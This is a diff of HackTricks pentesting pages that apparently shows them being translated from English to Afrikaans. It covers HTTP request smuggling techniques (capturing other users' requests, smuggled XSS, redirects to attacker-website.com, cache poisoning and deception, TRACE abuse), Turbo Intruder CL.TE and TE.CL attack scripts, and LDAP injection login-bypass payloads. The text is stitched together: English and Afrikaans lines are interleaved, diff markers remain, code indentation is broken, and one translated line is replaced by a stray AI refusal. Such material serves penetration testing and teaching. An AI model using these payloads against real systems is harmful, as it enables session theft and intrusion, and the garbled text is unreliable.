In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsny, terwyl 'n te hoë waarde die versoek kan laat foutloop.
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
Hierdie metode dien hoofsaaklik om die versoekwysigings wat deur die voorpunt-proxy gemaak word, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
By appending the following request as the value of a parameter, you can store the subsequent client's request:
Dit is haalbaar om die versoeke van die volgende gebruiker te vang deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie by te voeg. Hier is hoe dit gedoen kan word:
Deur die volgende versoek as die waarde van 'n parameter by te voeg, kan jy die daaropvolgende kliënt se versoek stoor:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -394,22 +383,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string kan wees.
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
### Gebruik van HTTP versoek gesmokkel om weerspieëlde XSS te ontgin
### Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te ontgin, wat beduidende voordele bied:
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
- Interaction with the target users is **not required**.
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
- Interaksie met die teikengebruikers is **nie nodig** nie.
- Dit stel die ontginning van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -430,42 +417,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Hierdie payload is gestruktureer om die kwesbaarheid te benut deur:
This payload is structured to exploit the vulnerability by:
1. 'n `POST` versoek te begin, blykbaar tipies, met 'n `Transfer-Encoding: chunked` kop om die begin van smuggling aan te dui.
2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam aandui.
3. Dan word 'n gesmugde `GET` versoek bekendgestel, waar die `User-Agent` kop met 'n skrip, `<script>alert(1)</script>`, ingespuit word, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk.
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
2. Following with a `0`, marking the end of the chunked message body.
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale versoekbeperkings, en benut dus die Reflected XSS kwesbaarheid op 'n nie-standaard maar effektiewe manier.
#### HTTP/0.9
> [!CAUTION]
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, mag dit moontlik wees om dit te omseil**!
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesnt** respond with **headers**, just the body.
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met 'n versoek smuggling en 'n **kwesbare eindpunt wat met die invoer van die gebruiker sal antwoordgee** om 'n versoek met HTTP/0.9 te smuggle. Die parameter wat in die antwoord weerspieël sal word, het 'n **valse HTTP/1.1 antwoord (met koppe en liggaam)** bevat sodat die antwoord geldige uitvoerbare JS-kode met 'n `Content-Type` van `text/html` sal bevat.
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
Toepassings lei dikwels van een URL na 'n ander om deur die gasheernaam van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Results in:
Resultate in:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:
Alhoewel dit onskuldig lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -479,35 +460,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website:
Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgerig word:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Results in:
Resultate in:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript in antwoord te dien.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die **cache te vergiftig**.
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](./#basic-examples)). Similarly, its feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
Voorheen het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html`-inhoud te lewer in antwoord op 'n versoek vir `/static/include.js`. Gevolglik word die `/static/include.js`-inhoud in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
Hierdie tegniek word veral kragtig as 'n **Open Redirect-kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te dien wat deur die aanvaller beheer word:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -525,22 +500,20 @@ Content-Length: 10
x=1
```
Let wel die ingebedde versoek wat op `/post/next?postId=3` teiken. Hierdie versoek sal herlei word na `/post?postId=4`, wat die **Host header waarde** gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n wye XSS-aanval ontketen.
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### Gebruik HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **What is the difference between web cache poisoning and web cache deception?**
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
> - In **web cache misleiding** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -551,21 +524,17 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik is om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Will send a response such as:
I'm sorry, but I cannot assist with that.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -576,19 +545,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eerst 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal reflekteer.\
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gekapte JS-lêer byvoorbeeld om arbitrêre JS-kode in te voeg**.
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te beheer. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
Example:
Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord te laat bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache poisoning uit te voer).
Voorbeeld:
```
GET / HTTP/1.1
Host: example.com
@ -607,9 +574,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):
Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmuggle):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -630,51 +595,49 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Wapen van HTTP Versoek Smuggling met HTTP Antwoord Desynchronisasie
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en jy weet nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Other HTTP Request Smuggling Techniques
### Ander HTTP Versoek Smuggling Tegnieke
- Browser HTTP Request Smuggling (Client Side)
- Blaaier HTTP Versoek Smuggling (Kliëntkant)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling in HTTP/2 Downgrades
- Versoek Smuggling in HTTP/2 Downgrades
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## Turbo indringer skripte
### CL.TE
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
Van [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
@ -684,38 +647,36 @@ Foo: bar
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
### TE.CL
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
Van: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
@ -729,31 +690,30 @@ kk
0
'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
## Tools
## Gereedskap
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie gereedskap is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek smuggling verskille te vind.
## References
## Verwysings
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -767,11 +727,10 @@ def handleResponse(req, interesting):
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, eksploteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Browser HTTP Request Smuggling
# Blaaier HTTP Versoek Smuggling
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**Kontroleer die pos [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Request Smuggling in HTTP/2 Downgrades
# Versoek Smuggling in HTTP/2 Downgrades
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
**Kontroleer die pos [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons is op soek na mense!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -14,56 +14,55 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### **LDAP**
**If you want to know what is LDAP access the following page:**
**As jy wil weet wat LDAP is, besoek die volgende bladsy:**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation.
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat dit aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of data-manipulasie.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filtercomp** = en / of / nie / item\
**En** = & filterlist\
**Of** = |filterlist\
**Nie** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Item**= eenvoudig / teenwoordig / substring\
**Eenvoudig** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
**Teenwoordig** = attr = \*\
**Substring** = attr ”=” \[begin] \* \[eindig]\
**Begin** = assertionvalue\
**Eindig** = assertionvalue\
&#xNAN;**(&)** = Absolute WAAR\
&#xNAN;**(|)** = Absolute VALSE
For example:\
Byvoorbeeld:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
You can access to the database, and this can content information of a lot of different types.
Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.
**OpenLDAP**: If 2 filters arrive, only executes the first one.\
**ADAM or Microsoft LDS**: With 2 filters they throw an error.\
**SunOne Directory Server 5.0**: Execute both filters.
**OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\
**SunOne Directory Server 5.0**: Voer albei filters uit.
**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
**Dit is baie belangrik om die filter met die korrekte sintaksis te stuur of 'n fout sal gegooi word. Dit is beter om slegs 1 filter te stuur.**
The filter has to start with: `&` or `|`\
Example: `(&(directory=val1)(folder=public))`
Die filter moet begin met: `&` of `|`\
Voorbeeld: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word).
### Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehashel word.
```bash
user=*
password=*
@ -118,17 +117,15 @@ username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lists
#### Lyste
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
- [LDAP Attribuut](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attribuut](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
### Blind LDAP Inspuiting
